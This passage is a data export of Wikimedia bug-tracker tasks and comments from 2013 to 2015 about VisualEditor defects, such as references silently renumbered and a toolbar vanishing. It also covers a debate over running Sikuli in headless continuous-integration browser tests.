+<<About half of the 18 references I typed into the article on Homesickness disappeared between yesterday and today. I was certain to follow the Save Changes procedure, but many different references reverted to the same single reference. [...] Same bug today. In VE, I placed the cursor in the text, chose ""Reference"" from the ""More"" menu, added a reference, (It appeared as it should with the appropriate numerical superscript), Saved the work, returned to check the page...references disappeared from the list. - Window 8, Chrome >>.
+
+TeamGale adds:
+<<Hello...I have the same problem [...]. I didn't realized that it happened while I was editing. I only saw it when I saved the article and the number of the references had decreased. This https://en.wikipedia.org/w/index.php?title=Michael_Giannatos&diff=next&oldid=573583391 is the change I was doing when it happened. Could it be related to editing a table with beta? Probably not since I don't see any table on Christopher Thurber's article. After I re-added the references and the new table, every time I click ""edit beta"" the refs are gone! Before I even do any change! Basically I can't use beta at all on this article! I don't have any issues using the source but, if it's something simple that can be done with beta, I prefer to do it with it. But I can't. Just wanted to say that this is happening to other articles as well. And it's possible to happen and people don't see it. That would be a problem to a long article with lots of references... Mozilla 21, Windows 8.>>
+
+TeamGale again:
+<<[...] every time I am trying to add a reference at a table with VE, it changes it and replaces it with an already existent one. This time I saved the edit just to post it here. https://en.wikipedia.org/w/index.php?title=Dancing_with_the_Stars_%28U.S._season_17%29&diff=prev&oldid=574412488 [...] 
+Update: Tables were a coincidence. It happened to me again in main article's text. I didn't save the edit this time...>>
+
+I think I saw this renumbering issue at it.wp as well.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1380214860,1380220185.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-gjqblxpe4th4o7zcpret,task_description,resolved,True,c1,3,False,False,True,12,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,1,1,0,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,0,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+261880,VisualEditor: (silently) renumbering references,"Yeah, this was a bad bug - bug 54341. We fixed it on Tuesday, and back-ported it to production yesterday, so this shouldn't happen again; sorry!
+
+*** This bug has been marked as a duplicate of bug 54341 ***",,,1380220185,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-gjqblxpe4th4o7zcpret,task_subcomment,,True,c1,3,True,,,12,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+56645,VisualEditor: Section-editing lands user at wrong URL post-save,"After successfully section-editing <https://en.wikipedia.org/w/index.php?title=Black_Mail_%281973_film%29&section=2&veaction=edit> using VisualEditor, I land at <https://en.wikipedia.org/w/index.php?title=Black_Mail_%281973_film%29&section=2>.
+
+This shouldn't happen. &section=2 doesn't do anything with the implicit &action=view.
+
+Possibly related to bug 53089.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1380209340,1392058252.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-xrx5soggiup6jgpqpzkt,task_description,resolved,True,c1,3,False,False,False,12,,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+261229,VisualEditor: Section-editing lands user at wrong URL post-save,"
+
+*** This bug has been marked as a duplicate of bug 53089 ***",,,1392058252,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xrx5soggiup6jgpqpzkt,task_subcomment,,True,c1,3,True,,,32,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+56642,"VisualEditor: Right half of toolbar disappears when image caption on first line contains ""page "" followed by any string","When an image caption on the first line of a page contains the string ""page "" (including the trailing space) followed by any text the right half of the VisualEditor toolbar disappears (everything right of ""more""). This includes the save button so edits cannot be saved (hence the ""major"" severity)
+
+This is likely related to either bug 54379 (same symptoms) or bug 53312 (same trigger).
+
+Comments on the VE/F report at https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=574608525#Odd_one suggest this might be restricted to FireFox.
+
+Minimal test: https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox4&oldid=574608905
+Real-world example: https://en.wikipedia.org/w/index.php?title=Clarke,_Irwin_%26_Company&oldid=574526057
+
+To reproduce:
+1. Create a page with any image on the first line of page
+2. Give the image a caption containing the string ""page "" (including the trailing space) followed by any text.
+3. Save the page
+4. Load the page in VE and observe the right half of the editing toolbar.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53312
+https://bugzilla.wikimedia.org/show_bug.cgi?id=54379",Needs Triage,90.0,1380206280,1393531206.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-kvr63y5we4pdqpvagdka,task_description,resolved,True,c1,3,False,False,False,12,,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,0,1,1,0,1
+261129,"VisualEditor: Right half of toolbar disappears when image caption on first line contains ""page "" followed by any string","As far as I can tell this was fixed when bug 53312 was fixed (and for the same reason).
+
+*** This bug has been marked as a duplicate of bug 53312 ***",,,1393531206,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kvr63y5we4pdqpvagdka,task_subcomment,,True,c1,3,True,,,34,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+261123,"VisualEditor: Right half of toolbar disappears when image caption on first line contains ""page "" followed by any string","Can't reproduce on Chrome, looks like Ff issue.",,,1380222773,,PHID-USER-ttyyrgsrkyonct7hizgv,False,,,PHID-TASK-kvr63y5we4pdqpvagdka,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+261119,"VisualEditor: Right half of toolbar disappears when image caption on first line contains ""page "" followed by any string","There may be regression involved with this: The toolbar presented properly with the ""page "" string included in the first line for several VE edits over August and September, then the problem was observed Sept. 25.  No change in machine, OS, or browser at the time.",,,1380216001,,PHID-USER-ttyyrgsrkyonct7hizgv,False,,,PHID-TASK-kvr63y5we4pdqpvagdka,task_subcomment,,True,c1,3,False,,,12,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+56636,wikitech.wikimedia.org needs to have VE enabled,"'coz I likes it.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1380197400,1380217469.0,PHID-USER-2nnm76h4ykalvvref2ye,False,,False,PHID-TASK-pv364hftdbapyxednn7m,task_description,invalid,True,c1,3,False,False,True,12,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0
+260743,wikitech.wikimedia.org needs to have VE enabled,"(In reply to comment #2)
+> So there was ' Enable VisualEditor (only in the main and user namespaces)'
+> and
+> ' Temporarily disable VisualEditor while it is in beta' in preferences, and
+> they were both unchecked.
+Hah, I wasn't aware it was possible to have both preferences visible at once. That's probably a bug. Either way, you need to both have the ""enable"" box checked and have the ""disable"" box unchecked.",,,1380248015,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-pv364hftdbapyxednn7m,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+260737,wikitech.wikimedia.org needs to have VE enabled,"So there was ' Enable VisualEditor (only in the main and user namespaces)' and ' Temporarily disable VisualEditor while it is in beta' in preferences, and they were both unchecked.",,,1380247009,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-pv364hftdbapyxednn7m,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+260731,wikitech.wikimedia.org needs to have VE enabled,It already does...,,,1380217469,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-pv364hftdbapyxednn7m,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+56614,"VisualEditor: Linux font stack sometimes lies about font width, leading to odd wrapping of text in format menu","subhead shows ""2"" in the wrong place
+
+seen in Firefox not in Chrome:  
+
+choose some text and pick a headings format.  Subheads with numbers show the number below the selectbox.  see screen shot.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F12017}",Needs Triage,90.0,1380146220,1399644958.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-tchh23qe4nddxeojdetp,task_description,resolved,True,c1,3,False,False,False,12,,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0
+259560,"VisualEditor: Linux font stack sometimes lies about font width, leading to odd wrapping of text in format menu",This was the Linux-wrong-width-of-fonts bug that was fixed a few months ago.,,,1399644958,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tchh23qe4nddxeojdetp,task_subcomment,,True,c1,3,True,,,44,,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+259557,"VisualEditor: Linux font stack sometimes lies about font width, leading to odd wrapping of text in format menu","Created attachment 13378
+shows '3' in the wrong place
+
+**Attached**: {F12018}",,,1380146299,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-tchh23qe4nddxeojdetp,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+56600,update other repos to qa/browsertests practices,"visualeditor browser tests don't use MEDIAWIKI_PASSWORD, they still use secret.yaml.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1380120060,1381410415.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-xaefdkhei34lxghlfb26,task_description,resolved,True,c1,3,False,False,False,12,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+258271,update other repos to qa/browsertests practices,"
+
+*** This bug has been marked as a duplicate of bug 53579 ***",,,1381410415,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-xaefdkhei34lxghlfb26,task_subcomment,,True,c1,3,True,,,14,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+56591,VisualEditor: Aborting the insertion of a formula should not insert any content,"If you click to use LaTeX, the ""math editor"" option, you cannot cancel or escape out of input.  VisualEditor adds the <math></math> tags regardless and this can only be removed by saving and going to source.
+
+Ideally, a cancel [X] or keyboard options should work to remove this.
+
+https://www.mediawiki.org/w/index.php?title=User:Keegan_(WMF)/sandbox&action=history
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1380089700,1394480263.0,PHID-USER-fwlidikyeorzj35hufwu,False,,False,PHID-TASK-bj5auvkiqa4ukpb3i76l,task_description,resolved,True,c1,3,False,False,False,12,,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+257778,VisualEditor: Aborting the insertion of a formula should not insert any content,This was fixed a long time ago; sorry for the slow triage.,,,1394480263,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bj5auvkiqa4ukpb3i76l,task_subcomment,,True,c1,3,True,,,36,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+56393,Add Sikuli to the machines that run browser tests,"Sikuli ( http://www.sikuli.org ) is a tool for testing desktop interactions, such as mouse clicks and keyboard typing.
+
+This tool is needed for testing typing in different languages, because the usual WebDriver tests are not able to generate proper keyboard events that completely emulate typing in advanced input methods for Japanese, Chinese and Indic scripts. We have many bugs in this area in the VisualEditor (e.g. Bug 52716), so we need proper regression testing.
+
+This week I worked with Željko in the WMF office and we built a prototype test that uses Sikuli to test typing in Japanese:
+https://gerrit.wikimedia.org/r/#/c/83966/
+
+This works on Željko's laptop. The next step is to get it working on the virtual clients that run our continuous integration tests.
+
+Thank you!
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",Needs Triage,90.0,1379701560,1412692524.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-dxtpzjislp3ykzi64aen,task_description,declined,True,c1,3,False,False,False,11,,1,0,1,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+421988,Add Sikuli to the machines that run browser tests,"You can also find other people discussing using Sikuli with xvfb, e.g. https://github.com/jatalahd/SikuliRobotLibrary/wiki/Hints-and-Tips",,,1425618435,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,True,,,87,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+421984,Add Sikuli to the machines that run browser tests,">>! In T56393#1087507, @zeljkofilipin wrote:
+> @Mattflaschen the last time I have checked sikuli web page, it explicitly said running headless is not supported. Maybe something changed in the meantime.
+
+I think it depends on how you define ""headless"".  Sometimes it means ""without anything related to Xorg whatsoever"", but oftentimes it just means ""without a normal X server installation and associated drivers"" or ""without a physical monitor/physical video card"".
+
+https://answers.launchpad.net/sikuli/+question/248704#comment-1 is quite clear that he got it working on Amazon Web Services (presumably Elastic Compute Cloud) and Jenkins.  This is pretty similar to our setup, except we use OpenStack instead of AWS (of course there are other differences, but there doesn't seem to be any unsolvable issue).
+
+[xvfb](https://en.wikipedia.org/wiki/Xvfb) ([Jenkins plugin](https://wiki.jenkins-ci.org/display/JENKINS/Xvfb+Plugin)) is an established tool for this, so the Launchpad comment makes sense.",,,1425618258,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,True,,,87,,1,1,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1
+420615,Add Sikuli to the machines that run browser tests,"@Mattflaschen the last time I have checked sikuli web page, it explicitly said running headless is not supported. Maybe something changed in the meantime.",,,1425459423,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,True,,,87,,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0
+420534,Add Sikuli to the machines that run browser tests,"Did anyone investigate using it headless with Xvfb?  People have gotten this working with Linux and Jenkins (see for example https://answers.launchpad.net/sikuli/+question/248704#comment-1 ).  Their setup differs, but it shows a fully automated headless installation can work.",,,1425442579,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,True,,,87,,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,0
+251225,Add Sikuli to the machines that run browser tests,"Change 165204 merged by Dzahn:
+contint: Sikuli is no longer used anywhere
+
+https://gerrit.wikimedia.org/r/165204",,,1412969442,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,False,,,66,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0
+251216,Add Sikuli to the machines that run browser tests,"Change 165204 had a related patch set uploaded by Zfilipin:
+contint: Sikuli is no longer used anywhere
+
+https://gerrit.wikimedia.org/r/165204",,,1412692379,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,False,,,66,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0
+251210,Add Sikuli to the machines that run browser tests,"Change 83966 abandoned by Zfilipin:
+[WIP] [BrowserTest] Testing typing in VisualEditor
+
+Reason:
+Sikuli is not the way to go. We will investigate another tool.
+
+https://gerrit.wikimedia.org/r/83966",,,1406638159,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,False,,,56,,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+251205,Add Sikuli to the machines that run browser tests,Resolving. See comment #9 for details. Please reopen if you think Sikuli is the way to go.,,,1403988818,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,True,,,51,,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+251199,Add Sikuli to the machines that run browser tests,"After further investigation with Amir today, looks like Sikuli does not work with headless machines: ""The system running Sikuli scripts or any apps using SikuliX features must have a real screen connected. So called headless systems are not supported (Java restriction).""
+
+1: http://www.sikulix.com/quickstart.html",,,1396537515,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,True,,,39,,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+251194,Add Sikuli to the machines that run browser tests,"No, it is not really active yet.",,,1390743741,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,False,,,29,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+251188,Add Sikuli to the machines that run browser tests,"Amir, this patch was merged, can this be closed?",,,1390743366,,PHID-USER-u7udgblfyop6qd5wxot6,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,False,,,29,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0
+251184,Add Sikuli to the machines that run browser tests,"Change 102141 merged by ArielGlenn:
+contint: install libsikuli-script-java for browser tests
+
+https://gerrit.wikimedia.org/r/102141",,,1387290472,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,False,,,24,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+251181,Add Sikuli to the machines that run browser tests,"I have deployed the package libsikuli-script-java on the integration-selenium-driver.pmtpa.wmflabs instance.  The script is available as /usr/bin/sikuli
+
+Could you craft a simple change that would attempt to run a single browser test using sikuli ?",,,1387290113,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,True,,,24,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+251177,Add Sikuli to the machines that run browser tests,"Change 102141 had a related patch set uploaded by Hashar:
+contint: install libsikuli-script-java for browser tests
+
+https://gerrit.wikimedia.org/r/102141",,,1387289655,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,False,,,24,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+251173,Add Sikuli to the machines that run browser tests,"Good news: sikuli has been packaged for Debian/Ubuntu. There is a package libsikuli-script-java which seems to provide the needed material:
+
+http://packages.ubuntu.com/precise/all/libsikuli-script-java/filelist
+
+I have no clue how to launch the tests though. Maybe we just have to use /usr/bin/sikuli ?",,,1387289374,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-dxtpzjislp3ykzi64aen,task_subcomment,,True,c1,3,True,,,24,,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,0
+251167,Add Sikuli to the machines that run browser tests,"Change 83966 had a related patch set uploaded by Zfilipin:
+[WIP] [Browser test] Testing typing in VisualEditor
+
